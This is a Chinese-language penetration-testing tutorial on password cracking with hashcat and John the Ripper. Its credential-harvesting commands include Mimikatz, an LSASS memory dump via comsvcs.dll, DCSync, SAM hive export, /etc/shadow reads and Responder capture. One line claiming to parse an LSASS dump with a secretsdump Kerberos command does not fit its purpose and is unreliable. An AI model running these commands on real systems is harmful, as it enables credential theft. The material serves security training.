密码破解实战手册:从哈希识别到暴力破解的完整方法论
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。
引言:密码破解不是运气,是方法论
打靶机的时候,有一类场景让我又爱又恨——拿到一堆哈希,知道破解了就能拿到权限,但不知道用什么方法。
刚开始我总是一上来就 hashcat -m 0 hash.txt rockyou.txt,跑半天跑不出来,以为是密码太复杂。后来才明白:破解哈希是有完整方法论的——先识别哈希类型,再选正确的攻击模式,字典和规则的组合比暴力跑更高效。
这篇文章把密码破解的完整流程系统化,从哈希识别、工具选择、攻击策略,到实战中的常见场景,覆盖 CTF 和真实渗透测试的绝大多数情况。
一、哈希识别:最容易被忽视的第一步
很多人拿到哈希直接就跑,结果用错了哈希类型,跑出来的结果全是错的。
快速识别工具
bash
# hashid(最常用)
hashid '$6$rounds=656000$abc$xyz...'
hashid -m hash.txt # -m 显示 hashcat 模式号
# hash-identifier(交互式)
hash-identifier
# 粘贴哈希后回车
# haiti(支持格式最多)
haiti 'AAD3B435B51404EEAAD3B435B51404EE:hash'常见哈希快速辨认
| 特征 | 哈希类型 | Hashcat 模式 |
|---|---|---|
| 32位小写十六进制 | MD5 | -m 0 |
| 40位小写十六进制 | SHA1 | -m 100 |
$1$ 开头 | MD5crypt | -m 500 |
$2y$ 或 $2b$ 开头 | bcrypt | -m 3200 |
$5$ 开头 | SHA256crypt | -m 7400 |
$6$ 开头 | SHA512crypt(Linux shadow) | -m 1800 |
aad3b435b51404ee... 结尾 | LM(空或弱密码) | 可忽略 |
: 分隔的两段 NTLM | NTLM | -m 1000 |
用户名::域名:challenge:... | NetNTLMv2(Responder 抓到的) | -m 5600 |
$krb5tgs$23$... | Kerberoasting | -m 13100 |
$krb5asrep$23$... | AS-REP Roasting | -m 18200 |
二、Hashcat:GPU 破解首选
核心语法
bash
hashcat [选项] 哈希文件 字典| 参数 | 含义 |
|---|---|
-m <mode> | 哈希类型 |
-a <mode> | 攻击模式(0=字典,3=暴力,6=字典+掩码) |
-o output.txt | 输出破解结果 |
--show | 查看已破解的哈希 |
-r rules.txt | 使用规则文件 |
-w 3 | 工作负荷(3=高,最快) |
--status | 实时显示进度 |
四种攻击模式实战
bash
# 1. 字典攻击(最常用)
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt
# 2. 字典 + 规则(最高效,强烈推荐)
hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
# 3. 掩码暴力(已知密码模式时用)
hashcat -m 0 -a 3 hash.txt ?u?l?l?l?d?d?d?d # 大写开头+3个小写+4个数字
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a # 6位任意字符
# 4. 字典+掩码组合(单词+数字后缀)
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d?d # 字典词 + 4位数字
hashcat -m 0 -a 7 hash.txt ?d?d?d?d rockyou.txt # 4位数字 + 字典词掩码字符说明:
| 掩码 | 含义 |
|---|---|
?l | 小写字母 a-z |
?u | 大写字母 A-Z |
?d | 数字 0-9 |
?s | 特殊字符 |
?a | 所有可打印字符 |
常见场景命令速查
bash
# NTLM 哈希(Windows SAM / LSASS 转储)
hashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule
# NetNTLMv2(Responder 抓到的,文件在 /usr/share/responder/logs/)
hashcat -m 5600 netntlmv2.txt rockyou.txt -r best64.rule
# Kerberoasting
hashcat -m 13100 kerb.txt rockyou.txt -r best64.rule
# AS-REP Roasting
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule
# Linux shadow ($6$)
hashcat -m 1800 shadow.txt rockyou.txt -r best64.rule
# bcrypt(慢,用规则没意义,直接字典)
hashcat -m 3200 bcrypt.txt rockyou.txt --force
# 查看结果
hashcat -m 1000 ntlm.txt --show三、John the Ripper:格式转换神器
John 最大的优势是内置了大量的格式转换工具(john2*),能处理 hashcat 搞不定的文件类型。
特殊文件格式处理
bash
# ZIP 加密文件 → 破解
zip2john secret.zip > zip.hash
john zip.hash --wordlist=rockyou.txt
# RAR 加密文件
rar2john secret.rar > rar.hash
john rar.hash --wordlist=rockyou.txt
# SSH 私钥(有密码保护的 id_rsa)
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt
# Linux shadow 文件
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt
# KeePass 数据库
keepass2john database.kdbx > keepass.hash
john keepass.hash --wordlist=rockyou.txt
# 加密 Word/Excel
office2john encrypted.docx > office.hash
john office.hash --wordlist=rockyou.txt
# 加密 PDF
pdf2john secret.pdf > pdf.hash
john pdf.hash --wordlist=rockyou.txt实战经验:靶机里找到 SSH 私钥却无法登录,大概率是私钥有密码保护,ssh2john + john 是标准解法。
四、如何获取哈希
破解的前提是拿到哈希。不同场景下的获取方式:
Windows 哈希获取
bash
# 方法1:SAM 注册表(本地账户,不需要目标在线)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 攻击机离线解析
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# 方法2:DCSync(域控,需要 DA 或复制权限)
impacket-secretsdump domain/admin:password@<DC_IP>
# 拿到域内所有用户的哈希
# 方法3:Mimikatz(LSASS 内存)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 方法4:无工具 LSASS 转储(最安静)
tasklist | findstr lsass # 找 PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> lsass.dmp full
# 攻击机解析
impacket-secretsdump -k -no-pass -dc-ip <IP> <domain>/<user>@<target>Linux 哈希获取
bash
# /etc/shadow(需要 root 或 shadow 组权限)
cat /etc/shadow
# 整理格式
unshadow /etc/passwd /etc/shadow > hash.txt网络抓包捕获(NTLMv2)
bash
# Responder(监听所有常见协议)
sudo responder -I eth0 -dwv
# 抓到的哈希在
ls /usr/share/responder/logs/
# 格式为 NetNTLMv2,hashcat -m 5600 破解五、破解策略:从快到慢的优先级
不要一上来就跑最长的字典,按优先级执行,节省时间。
第一级:在线数据库(0-10秒)
→ crackstation.net(支持 MD5/SHA1/SHA256/NTLM 等)
→ hashes.com(输入哈希直接查)
→ ntlm.pw(NTLM 专项)
第二级:字典 + 高效规则(5-30分钟)
→ rockyou.txt + best64.rule
第三级:字典 + 强规则(30分钟-2小时)
→ rockyou.txt + OneRuleToRuleThemAll.rule
第四级:目标定制字典(基于目标信息)
→ CeWL 爬目标网站生成字典
→ CUPP 基于个人信息生成字典
第五级:掩码暴力(已知密码规律)
→ 知道是"公司名+年份+特殊字符"等模式时效率高自定义字典生成
bash
# CeWL:从目标网站爬词生成字典
cewl http://target.com -m 6 -d 3 -w custom_words.txt
# -m: 最小词长 -d: 爬取深度
# CUPP:基于个人信息定制字典(社会工程学)
python3 cupp.py -i
# 输入姓名、生日、宠物名等,自动生成常见变体
# 从现有规则扩展字典
hashcat --stdout rockyou.txt -r best64.rule > expanded.txt六、常见密码规律(真实泄漏数据统计)
最高频:
123456 / password / 123456789 / qwerty / 12345678
→ 直接上在线查询,秒破
企业环境常见:
公司名+年份+特殊字符 Company2024!
首字母大写+数字+! Welcome1!
季节+年份 Winter2024!
默认密码 admin / changeme / P@ssw0rd
个人账户常见:
名字+生日 john1990
重复字符 aaaaaa / 111111
键盘走位 qwerty123 / zxcvbn实战建议:针对企业内网的密码破解,先用企业名、域名、常见词组成定制字典,比 rockyou 效率高得多。
七、蓝队视角:如何让密码破解变难
| 防御措施 | 原因 |
|---|---|
| 密码长度 ≥ 12 位 | 纯暴力破解时间指数级增长 |
| 包含大小写+数字+特殊字符 | 规则破解效率大幅下降 |
| 避免字典词 + 简单变形 | 规则库无法覆盖完全随机密码 |
| 使用密码管理器 | 每个账户独立随机密码 |
| bcrypt / Argon2 存储(Web应用) | 计算量高,GPU 加速受限 |
| 多因素认证 | 即使密码泄露,也无法登录 |
| 监控异常登录尝试 | 检测密码喷洒和暴力破解 |
关键收获
- 哈希识别是第一步:用错了
-m模式,跑多久都没用。 - 字典 + 规则 > 纯暴力:
rockyou.txt + OneRule.rule覆盖率极高,比 10 亿次暴力枚举高效得多。 - 在线数据库先查:crackstation 几秒钟解决常见哈希,不要浪费 GPU 时间。

